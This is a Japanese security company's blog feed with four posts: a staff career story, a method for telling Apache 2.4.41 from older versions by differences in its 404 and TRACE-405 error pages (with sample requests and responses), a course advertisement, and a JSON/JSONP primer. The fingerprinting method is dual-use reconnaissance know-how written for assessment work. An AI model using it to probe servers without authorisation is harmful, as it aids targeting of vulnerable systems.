・趣味:アニメ、バイク、お料理<br />
・技術領域:ウェブセキュリティ全般、PHP、WordPress<br />
<br />
我ながら、これといった特徴も無い普通のプロフィールだと思います。<br />
技術領域に書いてある内容も、ここ2,3年で身に付けたものです。<br />
大した事無いじゃないか、と思っていただくために書きました。<br />
<br />
<br />
<h3>
わたしの学生時代</h3>
大学は理系の情報工学部に所属していました。<br />
絵に描いたようなインドア学生生活をしていたので、惰性で毎日を送っていました。<br />
大学で出された課題をこなして後は好きなことをするだけの生活です。<br />
<br />
そんなある日、知人の紹介でセキュリティ系の勉強会に足を運ぶ機会があり、<br />
これをきっかけにセキュリティの分野に興味を持つようになりました。<br />
<br />
あまり耳にしたことのない話が多くて、注目されている。<br />
目新しい感じがして、難しそうなことをしていて、かっこいい。<br />
雑ですが、最初に感じたイメージはこの通りでした。<br />
<br />
その後、無知な状態からのスタートでしたが、<br />
情報をキャッチアップする手段を覚え、<br />
業界で起こっている出来事や考え方に触れる機会が増えたことで、<br />
徐々に面白さが分かるようになっていきました。<br />
<br />
<br />
<h3>
卒業後の話</h3>
大学を卒業してからは、セキュリティエンジニアになりたいと思うようになりました。<br />
理由はたくさんありますが、少し背伸びをするレベルのお仕事をやりたかったこと、とても多くの事を学ぶことが出来そうなこと、これまで会ってきたセキュリティエンジニアの方々が楽しそうにお仕事の話をしていたことが主な動機でした。<br />
<br />
「新卒からセキュリティエンジニアを職にするのは難しいから、まずは開発や運用を学んでからにした方がいい」<br />
というアドバイスを受けることもしばしばありましたが、諦めの悪い性分だったので就活の方向性をそのままセキュリティエンジニアに絞りました。<br />
<br />
<h4>
アルバイトを開始</h4>
まず、自分の実力が不足していることを知っていた私は、<br />
セキュリティエンジニアになるために必要なスキルを身に付けたいと考えました。<br />
そこで、知人のWeb系の会社に頼み込み、アルバイトとして雇って貰いました。<br />
全くの未経験からのスタートでしたが、最終的にPHPとWordPressの話を多少出来るレベルになりました。<br />
<br />
後から振り返ってみると、<br />
この時勇気を出して開発経験を身に付けて良かったと思います。<br />
作り手としての考え方はセキュリティを考える上で強い武器になるからです。<br />
<br />
脆弱性診断を例に挙げると、<br />
自分が送信した攻撃文字列が、システムに受け取られた後、<br />
どのように処理されるか仮説を立てながら攻撃を行うことが出来るため、<br />
精度面や効率面で大きなメリットを感じました。<br />
<br />
<h4>
採用に至るまで</h4>
Web業界への名残はありましたが、<br />
1年のアルバイト期間を経て、私はEGセキュアソリューションズの門戸を叩きました。<br />
<br />
EGセキュアソリューションズは、かの徳丸本の著者である徳丸さんの会社で、少数精鋭のため新卒を募集しておらず、狭き門だという事を理解していました。<br />
ですが、他社と比べた時に、セキュリティベンダーとしての「建前」が無く、本気でお客様のセキュリティ向上に取り組んでいるように見えたので応募に踏み切りました。<br />
<strike>※これから弊社に応募される方は、志望動機欄に同じ事を書かないようにお願いします。</strike><br />
<br />
実際の採用面接についてはあまり記憶が残っていませんが、志望動機等のヒアリングに加え、「ウェブの世界を安全にしたい」という社の方針に対する自分の考えを問われました。<br />
また、二次試験では実技試験として、徳丸さんと一緒に脆弱性診断を行いながら見つけた事象に関する質問を受けますが、私はことごとく間違えました。<br />
<br />
結果としては内定をいただくことが出来ましたが、<br />
今になって思うと、Webの開発経験と、業界の情報を多少なりともキャッチアップしていたことが評価されたおかげではないかと思います。<br />
<br />
<br />
<h3>
入社後の話</h3>
<div>
セキュリティエンジニアといっても様々なお仕事がありますが、<br />
EGセキュアソリューションズでは、社員の基本スキルとしてWebアプリケーションの脆弱性診断を学びます。<br />
新入社員はまず、社長の著書<a href="https://www.sbcr.jp/product/4797393163/" target="_blank">『徳丸本』</a>を片手に脆弱性の原理と影響を学び、研修用のやられサイトの脆弱性診断を行います。<br />
結果は報告書にまとめ、社長から直接レビューを受けることになります。<br />
<br />
やられサイトは名前の通り、「やられること」を目的としたサイトのため、たくさんのバグや不具合が見つかります。それらの中から脆弱性として問題のある事象を報告するのはとても大変で、確認漏れがあったり、分析が甘かったり、間違った解釈をしてしまったりと苦労することが多かったです。<br />
<br />
また、脆弱性診断で技術力を磨く一方で、<br />
お客様とのやり取りにも積極的に参加し、たくさんの事を学びます。<br />
<br />
メールや打ち合わせでのやり取りで、お客様が求めている事をヒアリングし、<br />
弊社が出来る事を理解していただくのは口にするほど簡単ではありません。<br />
「メールでどのような書き方をすればこちらの意図が伝わるだろうか…」<br />
「お客様が本当に求めている事はどのように聞けば良いだろうか…」<br />
日々こんなことばかり考えていますし、それが楽しいです。<br />
<br /></div>
<h4>
担当した業務</h4>
<div>
業務は脆弱性診断とお客様連絡を中心にしつつ、</div>
<div>
希望業務にはどんどん関わる社風のため、色々なお仕事に参加させて貰いました。</div>
<div>
私は元々計画を立てることが好きだったこともあり、イベントの運営担当も務めました。</div>
<ul>
<li>Web、プラットフォーム脆弱性診断</li>
<li>開発ガイドラインの策定</li>
<li>お客様連絡</li>
<li>イベント運営 etc...</li>
</ul>
<div>
<br /></div>
<h4>
入社後に思った事</h4>
セキュリティには技術的な要素だけでなく、コミュニケーションによる状況把握能力や解決策を考える思考能力も必要で、総合力が要求されることが分かりました。<br />
<br />
また、入社前に抱いていたイメージよりも地味で根気のいる作業が多く、地道に経験を積みながら業務に慣れることが出来ました。私は元々地道な作業を好んでいたこともあり、このお仕事に対する適正が高かったのかもしれません。<br />
<br />
加えて、ビジネスにも共通する話だと思いますが、普段から心掛けていることが業務に役立つことも多々ありました。情報のキャッチアップ然りすぐ手を動かすこと然り。自分が必要と思う事は積極的に挑戦するべきだと思いました。<br />
<br />
<br />
<h3>
まとめ</h3>
本日のまとめです。<br />
<ul>
<li>まずは行動を起こすことが大切</li>
<li>セキュリティエンジニアは技術力だけでなく、総合力が求められるお仕事</li>
</ul>
<br />
皆さんの中には、セキュリティエンジニアは華やかなお仕事というイメージを持っている方がいるかもしれません。<br />
それは高難度の案件をずば抜けた技術力のエンジニアが解決するイメージが強いからだと思います。<br />
ですが、私のような人間がセキュリティエンジニアとして生計を立てることが出来ているのも事実です。<br />
<br />
<br />
セキュリティはこれからもっと一般的な業界になります。<br />
この記事を通して皆さんも業界に興味を持っていただけると幸いです。<br />
<br />
<br />
PR<br />
EGセキュアソリューションズ株式会社では、私たちと一緒に働く仲間(脆弱性診断員、コンサルタント)を募集しています。新卒・既卒問いませんので、興味のある方は<a href="https://www.eg-secure.co.jp/recruit/" target="_blank">採用ページ</a>を参照下さい。takezhttp://www.blogger.com/profile/01232087061803469472noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-51692174106473838582020-01-30T11:58:00.002+09:002020-01-30T12:20:27.851+09:00Apacheが最新版(2.4.41)かどうかを確認する方法こんにちは。EGセキュアソリューションズの社長の徳丸です。<br />
今日は、Apacheが本稿執筆時点での最新版 2.4.41 であるかを確認する方法を公開しちゃいます。<br />
<br />
<h4>
はじめに</h4>
脆弱性診断の一環で、サーバーソフトウェアのバージョンを確認したいというニーズがあります。今どき、Apache等のServerヘッダにバージョンが出ていることはまずない(…とも言えず実はよくある)ので、Serverヘッダ以外からソフトウェアのバージョンを確認する方法が知られています。以下はその例です。<br />
<ul>
<li><a href="https://www.mbsd.jp/blog/20170904.html">Apache HTTP Serverのバージョンを当てる方法</a></li>
<li><a href="http://tigerszk.hatenablog.com/entry/2017/09/04/212108">僕が調べたApacheバージョン判定の小ネタ</a></li>
<li><a href="https://blog.eg-secure.co.jp/2017/09/find-php-version-from-response-header.html">診断文字列を打ち込まずにPHPのバージョンを推測する</a></li>
</ul>
2番目の、とある診断員さんの記事は、Apache 2.2のすべてのバージョンをビルドして確認する方法が具体的に説明されています。そして、上の2つの記事はApache 2.2を題材にしていますが、2.2はとっくにサポートが終了しており、2.4系のバージョン確認の方法が求められますよね。<br />
実は、Apacheの最新版 2.4.41 になって、エラーメッセージの表示内容が微妙に変わりましたので、バージョン確認に使えます。まずは、404 Not Foundの表示を用いて説明します。<br />
<br />
<h4>
試してみよう</h4>
以下は、Apache 2.4.39(2.4.40は欠番)における存在しないパス /xx に対するレスポンスの例です。
<br />
<blockquote>
<pre class="brush: text">HTTP/1.1 404 Not Found
Date: Thu, 30 Jan 2020 01:48:04 GMT
Server: Apache/2.4.39 (Unix) PHP/5.3.3
Content-Length: 200
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL <span style="color: red;">/xx</span> was not found on this server.</p>
</body></html>
</pre>
</blockquote>
以下は、Apache 2.4.41(最新版)における /xx に対するレスポンスの例です。<br />
<blockquote>
<pre class="brush: text">HTTP/1.1 404 Not Found
Date: Thu, 30 Jan 2020 01:50:08 GMT
Server: Apache/2.4.41 (Unix) PHP/5.3.3
Content-Length: 196
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
</pre>
</blockquote>
2.4.39までと比べると、パス名(/xx)が省略されていることがわかります。これを使ってApache 2.4.41か、それより前のバージョンであるか判別できます。<br />
<br />
<h4>
404ページをカスタマイズしている場合</h4>
ただ、404 Not foundのページは通常カスタマイズされているのでApacheが生成するレスポンスボディを見ることはできないケースが多いと思います。その場合は、他のステータスを用いることができます。たとえば、TRACEメソッドは禁止されているケースが多いと思いますが、この禁止されている場合のレスポンスが使える場合があります。<br />
<br />
まずは 2.4.39の場合(リクエストとレスポンス)<br />
<blockquote>
<pre class="brush: text">TRACE /xx HTTP/1.1
Host: apacheall:2439
HTTP/1.1 405 Method Not Allowed
Date: Thu, 30 Jan 2020 01:59:48 GMT
Server: Apache/2.4.39 (Unix) PHP/5.3.3
Allow:
Content-Length: 225
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>405 Method Not Allowed</title>
</head><body>
<h1>Method Not Allowed</h1>
<p>The requested method TRACE is not allowed for <span style="color: red;">the URL /xx</span>.</p>
</body></html></pre>
</blockquote>
次に、2.4.41の場合(リクエストとレスポンス)<br />
<blockquote>
<pre class="brush: text">TRACE /xx HTTP/1.1
Host: apacheall:2441
HTTP/1.1 405 Method Not Allowed
Date: Thu, 30 Jan 2020 02:03:11 GMT
Server: Apache/2.4.41 (Unix) PHP/5.3.3
Allow:
Content-Length: 222
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>405 Method Not Allowed</title>
</head><body>
<h1>Method Not Allowed</h1>
<p>The requested method TRACE is not allowed for <span style="color: red;">this URL</span>.</p>
</body></html></pre>
</blockquote>
やはり、2.4.39まであったパス名が2.4.41では省略されています。脆弱性診断実務では、TRACEメソッドの許可を調べているケースが多い(<a href="https://blog.tokumaru.org/2013/01/TRACE-method-is-not-so-dangerous-in-fact.html">参照</a>)と思うので、一石二鳥ですよね!<br />
ステータスの405までカスタムエラーページを用意してあればこの方法でもダメですけどね。Apacheのソースコード(./modules/http/http_protocol.c)の差分で見る限り、以下のメソッドがチェックに使えそうです。<br />
<br />
<table>
<tbody>
<tr><th>Code</th><th style="text-align: left;">Reason-Phrase</th></tr>
<tr><td>305</td><td>Use Proxy</td></tr>
<tr><td>403</td><td>Forbidden</td></tr>
<tr><td>404</td><td>Not Found</td></tr>
<tr><td>405</td><td>Method Not Allowed</td></tr>
<tr><td>406</td><td>Not Acceptable</td></tr>
<tr><td>410</td><td>Gone</td></tr>
<tr><td>412</td><td>Precondition Failed</td></tr>
<tr><td>413</td><td>Request Entity Too Large</td></tr>
<tr><td>451</td><td>Unavailable For Legal Reasons</td></tr>
<tr><td>501</td><td>Not Implemented</td></tr>
<tr><td>506</td><td>Variant Also Negotiates</td></tr>
</tbody></table>
<br />
これらのステータスには、引き起こすのが難しいケースもありますが、403, 404, 405, 501あたりが使いやすそうです。<br />
<br />
ただし、404を観察するくらいならともかく、エラーを故意に起こす通信は不正アクセスの予備行為と見なされ得るものですので、許可を得ていないサーバーで勝手に試すことは慎みましょう。<br />
<br />
<h4>
どうやって調べたか</h4>
Apache の2.2、2.4のすべてのバージョンをビルドして、それぞれポート番号を変えて実行する環境を作りました。先のリクエストで、apacheall:2441 というHost名が見えていましたか、ポート番号 2441 = Apache 2.4.41 という意味です。最終的にソースコードを確認する場合でも、動的解析であたりをつけておくと作業が楽ですよね。<br />
<br />
<h4>
まとめ</h4>
Apache 2.4.41以降か、それ未満かをチェックする方法について説明しました。まだApache のバージョンを2.4.41にしているサイトはそこまで多くないと思いますので、脆弱性診断等で「Apacheが最新版ですないです!! ドヤー」とすることができます…<br />
というのは冗談で、この程度でドヤ顔はよくないですw ApacheはLinuxディストリビューションのパッケージで導入していて見かけのバージョンは古いがパッチが適用されているケースが多いですからね。現実的なリスクを踏まえて適切なアドバイスを心がけましょう。<br />
<br />
<h4>
PR</h4>
EGセキュアソリューションズ株式会社では、徳丸とともに働く仲間(脆弱性診断員、コンサルタント)を募集しています。興味のある方は<a href="https://www.eg-secure.co.jp/recruit/">採用ページ</a>を参照下さい。ockeghemhttp://www.blogger.com/profile/13465836435601518769noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-18805383603537635282019-05-10T10:07:00.001+09:002019-07-25T10:25:59.657+09:00【サービスのご紹介】徳丸本講座<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
こんにちは。EGセキュアソリューションズ セミナー運営事務局です。</div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
<br /></div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
本日は、6月3日(月)・4(火)に実施する『徳丸本講座』<wbr></wbr>について、</div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
受講いただくメリットや各講座の内容について簡単にご<wbr></wbr>紹介します。</div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
<br /></div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
<br /></div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
はじめに、『徳丸本講座』<wbr></wbr>の概要について弊社ホームページでは以下の通り紹介をしておりま<wbr></wbr>す。</div>
<blockquote class="tr_bq" style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
『体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践 第2版』(通称:徳丸本第2版)<wbr></wbr>の内容を著者とともに学ぶ講座です。<br />
本講座は、<wbr></wbr>Webアプリケーションの脆弱性について座学形式での解説を行う<wbr></wbr>ものです。<wbr></wbr>基礎講座では徳丸本第2版の中から最低限押さえておくべき内容を<wbr></wbr>、<wbr></wbr>応用講座では徳丸本第2版の中でも特に理解の難しい内容を学びま<wbr></wbr>す。</blockquote>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">
<br /></div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
『徳丸本講座』では、皆様がWebアプリケーションの脆弱性(<wbr></wbr>以下、脆弱性)に対する理解を深め、<wbr></wbr>日常業務に役立てていただくことを第一の目的としています。<wbr></wbr>そのため、脆弱性を突いた攻撃のデモを交えて、脆弱性の原理・<wbr></wbr>影響・対策をお伝えします。<wbr></wbr>脆弱性の特性について理解することで、<wbr></wbr>脆弱性を作り込まないための考え方を養い、<wbr></wbr>脆弱性が発見された場合の適切な対処を取ることを助けます。</div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
<br />
<br /></div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
<br /></div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
続いて、それぞれの講座についてご紹介します。</div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
<br /></div>
<h3 style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
<span style="font-size: large;">基礎講座</span></h3>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
Webアプリケーションの脆弱性の中でも広く知られているもの・<wbr></wbr>影響度の高いものを取り扱います。<wbr></wbr>普段Webアプリケーションの開発を行っている方からWebサイ<wbr></wbr>トの開発を依頼する立場の方まで広くご参加いただきたい内容<wbr></wbr>となっています。<br />
<br />
本講座で取り扱う主な内容<br />
<div style="font-size: small;">
</div>
<ul style="font-size: small;">
<li>HTTP通信の概要</li>
<li>クッキーとセッション管理</li>
<li>クロスサイト・スクリプティング(XSS)</li>
<li>SQL呼び出しに伴う脆弱性</li>
<li>クロスサイト・リクエストフォージェリ(CSRF) etc...</li>
</ul>
<br /></div>
<div style="background-color: white; color: #222222; font-family: arial, helvetica, sans-serif;">
本講座の対象者<br />
<div style="font-size: small;">
</div>
<ul style="font-size: small;">
<li>PHPやJavaScriptの初歩的な知識をお持ちの方</li>
<li>WebアプリケーションがWebサーバから受信した情報をブラウザで表示していることを理解出来る方</li>
<li>脆弱性について一通り理解があるものの原理から学び直したいとお考えの方</li>
</ul>
<div style="font-size: small;">
</div>
</div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">
<br />
<br /></div>
<h2 style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
<span style="font-size: large;">応用講座</span></h2>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
Web APIやJavaScript、<wbr></wbr>キャッシュ機能を利用する際の脆弱性等少し難易度の高い脆<wbr></wbr>弱性を取り扱います。こちらには、OWASP Top10 2017にランクインしたXXEや安全でないデシリアライゼーション等が含まれます。<br />
<br />
開発スキルが向上すると、<wbr></wbr>自由度の高い機能を使いこなす機会が増えてきますが、<wbr></wbr>それと同時に取扱いにも注意が必要となります。応用講座は、<wbr></wbr>開発技術やセキュリティ技術の向上を目指す方に是非受講していた<wbr></wbr>だきたい内容となっております。<br />
<br /></div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">
<div style="font-size: medium;">
本講座で取り扱う主な内容</div>
<div style="font-size: small;">
</div>
<ul style="font-size: small;">
<li>同一オリジンポリシー</li>
<li>CORS</li>
<li>Web API実装における脆弱性</li>
<li>構造化データの読み込みにまつわる問題 etc...</li>
</ul>
</div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">
<br /></div>
<div style="background-color: white; color: #222222; font-family: arial, helvetica, sans-serif;">
本講座の対象者<br />
<div style="font-size: small;">
</div>
<ul style="font-size: small;">
<li>PHPやJavaScriptの基礎的な知識をお持ちの方</li>
<li>Web APIとJSONの概要をご存知の方</li>
<li>複数のページ間で行われる通信を想定できる方</li>
</ul>
<div style="font-size: small;">
</div>
</div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">
<br /></div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif; font-size: small;">
<br />
<br /></div>
<h2 style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
<span style="font-size: large;">最後に</span></h2>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
徳丸本講座は、<wbr></wbr>Webアプリケーションの脆弱性についての理解を深めるには最適な<wbr></wbr>講座です。詳細やお申込み方法については次のURLをご参照ください。</div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
<br />
【2019年7月25日 追記】最新の講座詳細URLに更新しました。</div>
<div style="background-color: white; color: #222222; font-family: Arial, Helvetica, sans-serif;">
URL:<a data-saferedirecturl="https://www.google.com/url?q=https://www.eg-secure.co.jp/registration_for_security_lecture_2/&source=gmail&ust=1557281503094000&usg=AFQjCNFNtUDcuuP7LxXYpHAXKdDLD2MWQA" href="https://www.eg-secure.co.jp/registration_for_security_lecture_4/" style="color: #1155cc;" target="_blank">https://www.eg-secure.co.<wbr></wbr>jp/registration_for_security_<wbr></wbr>lecture_4/</a></div>
takezhttp://www.blogger.com/profile/01232087061803469472noreply@blogger.com0tag:blogger.com,1999:blog-3279382045519981789.post-82164570904395579832019-03-29T18:21:00.001+09:002019-03-29T18:21:45.359+09:00【連載】JSONとJSONPの違い、そしてそれにまつわる脆弱性<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; font-family: "arial"; font-size: 11pt; white-space: pre-wrap;">こんにちは。EGセキュアソリューションズ診断チームです。</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">JSONとJSONPという、Webサイトを構築する上でよく目にする技術について、</span><br />
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">使用する上で注意すべき脆弱性を、解説を交えながら紹介したいと思います。</span></div>
<span style="background-color: white; font-family: "arial"; font-size: 11pt; white-space: pre-wrap;">連載第一回の今回は、前段の知識としてJSONとJSONPの概要について説明します</span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white;"><br /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">【JSONとは?】</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">JSONはXMLに代わるデータ交換形式として新たに提唱されたものです。</span><br />
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">JavaScriptのオブジェクトリテラルの形式をベースとして作られています。</span><br />
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">また、JSONはJavaScriptの式として解釈できる性質を持ちます。</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">JSONは名前と値がペアになっているデータの集合体として表されます。</span><br />
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">名前と値を「:」(コロン)でペアとして記述し、データの間は「,」(カンマ)で区切ります。</span><br />
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">これらを{}で囲んだものがJSON形式となります。実際のデータ例を下記に記します。</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white;"><span style="color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><br /></span><span style="color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">{ “title” : “Hello JSON!” , “No” : 123 }</span></span></div>
<span style="background-color: white;"><b style="font-weight: normal;"><br />
</b> </span><br />
<span style="background-color: white;"><b style="font-weight: normal;"><br /></b></span>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">【JSONPとは?】</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">JSONPとはJSON with Paddingの略です。</span><br />
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">名前にJSONと含まれているため、同じようなものと思ってしまいがちですが、全く違うものです。</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">元々、データを異なるオリジン間でやり取りを行うために色々な手法が試されていましたが、</span><br />
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">そのうちの一つがJSONPです。</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white;"><span style="color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">JSONのやり取りにはXMLHttpRequestが使用されていますが、</span></span><br />
<span style="background-color: white;"><span style="color: #222222; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">XMLHttpRequestは元々同一オリジンポリシーの制約を受けていた(現在はCORSにより回避可能)ため</span><span style="color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">、</span></span><br />
<span style="background-color: white;"><span style="color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">そのままでは異なるオリジン間でデータを受け渡すことができません。</span></span><br />
<span style="background-color: white;"><span style="color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">そのため、XMLHttpRequestを使用せず、script要素を使用して外部のJavaScriptを直接実行することにより、</span></span><br />
<span style="background-color: white;"><span style="color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">異なるオリジン間でデータをやり取りするという方法が考案されました。これがJSONPです。</span></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">ただし、やり取りするデータがJSONの場合、</span><span style="background-color: white; font-family: arial; font-size: 11pt; white-space: pre;">JSON文字列そのままでは</span><br />
<span style="background-color: white; font-family: arial; font-size: 11pt; white-space: pre;">script要素でデータを受け取ることができないため、関数呼び出しの形でデータを生成します。</span></div>
<span style="background-color: white;"><b style="font-weight: normal;"><br />
</b> </span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<span style="background-color: white;"> </span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">【JSONとJSONPの違い】</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">ここまで簡単にJSONとJSONPの概要を述べましたが、一言で書くと次のように表すことができます。</span></div>
<span style="background-color: white;"><b style="font-weight: normal;"><br />
</b> </span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">JSON :データ交換用の形式、またはデータそのもの</span></div>
<span style="background-color: white; font-family: arial; font-size: 11pt; white-space: pre;">JSONP :データそのものを異なるオリジン間でやり取りするための手法</span><br />
<div>
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;"><br /></span></div>
<div>
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">
</span></div>
<div>
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">【次回予定】</span></div>
<div>
<span style="background-color: white; color: black; font-family: "arial"; font-size: 11pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre;">第二回以降は、いくつかあるJSONとJSONPにまつわる脆弱性について、一つ一つ紹介していきたいと思います。</span></div>
